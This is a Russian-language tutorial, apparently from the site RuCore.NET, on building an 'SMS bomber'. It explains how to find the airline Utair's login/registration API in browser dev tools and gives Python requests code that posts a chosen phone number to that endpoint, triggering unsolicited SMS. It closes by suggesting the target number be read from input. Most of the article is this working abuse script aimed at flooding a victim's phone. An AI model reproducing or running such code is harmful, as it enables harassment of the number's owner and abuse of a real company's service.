RuCore.NET

Делаем запросы на СМС для бомбера





Привет, в этой статье я расскажу, как отсылать запросы на сайты и сделать с помощью этого SmsBomber. Для начала понадобиться IDE, я пишу в sublimeText3, но можно использовать и Online IDE, например ЭТУ

 



Далее нужно импортировать библиотеку для работы с HTTP-запросами, для этого в первой строчке пишем:

Код:

import requests

Теперь определимся с сервисом, с которого будем вижимать СМС, для примера я возьму Utair

Переходим по ссылке и открываем Developer Tool, нажав Ctrl+Shift+I либо ПКМ -> Inspect Element и переходим во кладку Network. Там мы сможем отслеживать все исходящие запросы, среди которых выберем нужный

Теперь в правом верхнем углу находим кнопку ‘Войти’ , вводим свой номер и жмем на стрелку. Видим сообщение, что такой номер не зарегистрирован. Нажимаем на ‘Зарегистрироваться’ и опять на стрелку.

Во вкладке Network начнут появляться запросы, среди которых нас интересует только один:

Нажав на него, справа откроется меню, из которого мы будем брать данные для запроса, a именно из вкладок Headers и Params

Нужны только запрашиваемые заголовки (requests headers)

И параметры:

Теперь переходим к коду:

import requests

r = requests.post('https://b.utair.ru/api/v1/login/')

Адрес, на который был отправлен запрос написан сверху правого меню в строке ‘Request URL’

Данная строчка кода отправляет POST запрос за указанный адрес. Пока что ничего не произойдет, т.к. в теле запроса ничего не указано. Для начала добавим параметры:

Берем их из вкладки Params (скрин выше). Пишем в кавычках название ключа и через двоеточие его значение, так же в кавычках

import requests

r = requests.post('https://b.utair.ru/api/v1/login/', data = {'login':'380509647548'})

Переходим к заголовкам. Все переписывать не потребуется, достаточно будет этих:

Accept-Language

Connection

Host

origin

Referer

Их вписываем так же, как и параметры

import requests

r = requests.post('https://b.utair.ru/api/v1/login/', data = {'login':'380509647548'}, headers = {'Accept-Language':'en-US,en;q=0.5', 'Connection':'keep-alive', 'Host':'b.utair.ru', 'origin':'https://www.utair.ru','Referer':'https://www.utair.ru/'})

Теперь, когда тело запроса заполнено, можно запускать код. Запрос отправиться, но что бы увидеть его результат пишем следующее:

print(r)
#показывает статус-код. Если запрос корректно сформирован и отправлен, должно вывести '<Response [200]>' если выводится другой код, значит, что-то пошло не так, либо какая-то ошибка в коде.
print(r.text) 
#Выводит html код страницы-ответа на наш запрос. Так же полезно, потому что на некоторых сайтах даже если запрос отправлен некорректно, будет выводить код 200, по этой странице точно можно убедиться, что запрос отправлен без проблем или же наоборот - понять, в чем ошибка.

В итоге получаем такой код:

import requests

r = requests.post('https://b.utair.ru/api/v1/login/',
   data = {'login':'380506497153'},
   headers = {
   'Accept-Language':'en-US,en;q=0.5',
   'Connection':'keep-alive',
   'Host':'b.utair.ru',
   'origin':'https://www.utair.ru',
   'Referer':'https://www.utair.ru/'})

print(r)
print(r.text)

Также его можно подкорректировать по другому
Вместо ‘login’:’номер’, можно поставить в начале кода переменную и input, и вместо одного номера поставить эту переменную. В начале старта будет спрашивать номер, в формате 79xxxxxxxxx (к примеру).

 

 



Поделись статьей с друзьями


70 просмотров



Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: